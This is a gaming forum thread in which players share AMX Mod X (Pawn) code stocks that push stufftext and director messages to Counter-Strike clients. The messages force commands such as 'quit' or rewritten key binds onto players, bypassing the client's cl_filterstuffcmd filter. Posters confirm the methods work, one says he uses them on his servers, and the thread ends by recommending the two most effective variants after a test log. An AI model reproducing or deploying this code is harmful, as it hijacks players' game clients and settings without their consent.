Steam/Shield exploit?

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ArminC
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Steam/Shield exploit?

#1

Post by ArminC » 6 years ago

In my mystic aventure search trough the cl_filterstuffcmd magic bypass :lol: , I found this (I don't know if works better than our good friend 2 or even if work.. I put these here just for record/archive):

1. // By Ostrog ?? (cls exec)

Code: Select all

SVC_DIRECTOR_STUFFTEXT_CMD(“quit” , id)// Example

#define SVC_DIRECTOR_ID 51
#define SVC_DIRECTOR_STUFFTEXT_ID 10
stock SVC_DIRECTOR_STUFFTEXT_CMD(text[] , id = 0) {
	if ((id == 0) || (is_user_connected(id))) {
		message_begin(MSG_ONE, SVC_DIRECTOR_ID, _, id)
		write_byte(strlen(text) + 2)
		write_byte(SVC_DIRECTOR_STUFFTEXT_ID)
		write_string(text)
		message_end()
	}
}
2. // Our dear known friend trough 2014-2018 :D

Code: Select all

SendCmd_1(id, “quit”)// Example

stock SendCmd_1(id , text[]) {
	message_begin(MSG_ONE, 51, _, id)
	write_byte(strlen(text) + 2)
	write_byte(10)
	write_string(text)
	message_end()
}
3.

Code: Select all

SendCmd_2(id, “quit”)// Example

stock SendCmd_2(id , text[]) {
	static cmd_line[1024]
	message_begin(MSG_ONE, 9, _, id)
	format(cmd_line , sizeof(cmd_line)-1 , "%s%s" , "^n" , text)
	write_string(cmd_line)
	message_end()
}
4.???

Code: Select all

stock send_stufftext(id, const input[])
{      
    message_begin(MSG_ONE, SVC_STUFFTEXT, _, id)
    write_string(input)
    message_end()
}

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Raheem
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#2

Post by Raheem » 6 years ago

All use same Method i think? You try them?
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ArminC
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#3

Post by ArminC » 6 years ago

No, remain to test tomorrow :)

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#4

Post by TheWhitesmith » 6 years ago

They do work (using it in my servers and I'm the one who introduced this in my country). But shit gets very bad when this is discovered.
Binds, Aliases, etc. I hope Valve fix this as soon as possible.
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ArminC
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#5

Post by ArminC » 6 years ago

Don't stay that bad word "Valve fix". Please! Tough.. this is more about AMXX Team.. anyway -> this bug as I see isn't so bad because isn't used by kids to destroy anyone they want.. who know this bug mean that's more than informed.. For me is ok, because I can bind the lasers for noobs who can't ;)

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Raheem
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#6

Post by Raheem » 6 years ago

So try them and tell us what you find ArminC.

VALVE? Sleeping 💤💤💤💤💤.
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#7

Post by Night Fury » 6 years ago

Why do you leave all the mysterious stuff & stuck in those shits?
Valve is no more Valve. It's just a name.
Learn AMXX & you'd stuck in programming language.
Want your own mod edition? PM me.
Accepting private projects.
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ArminC
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#8

Post by ArminC » 6 years ago

UPDATE: (using SM-Shield)

Nr 1:

Code: Select all

[SVC_DIRECTOR] Server tried to send invalid command:
bind "." "buyammo2"
[SVC_DIRECTOR] Server tried to send invalid command:
bind ";" "+mlook"
[SVC_DIRECTOR] Server tried to send invalid command:
bind "u" "messagemode2"
[SVC_DIRECTOR] Server tried to send invalid command:
bind "y" "messagemode"
[SVC_DIRECTOR] Server tried to send invalid command:
bind "F6" "save quick
Nr 2: same as nr1?

Nr 3: same as above but with tag changed ([SVC_STUFFTEXT])and some errors

Code: Select all

bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a command to a key
bind <key> [command] : attach a co...
Nr4: same as above

Conclusion - What I recommend? Nr1 or Nr2

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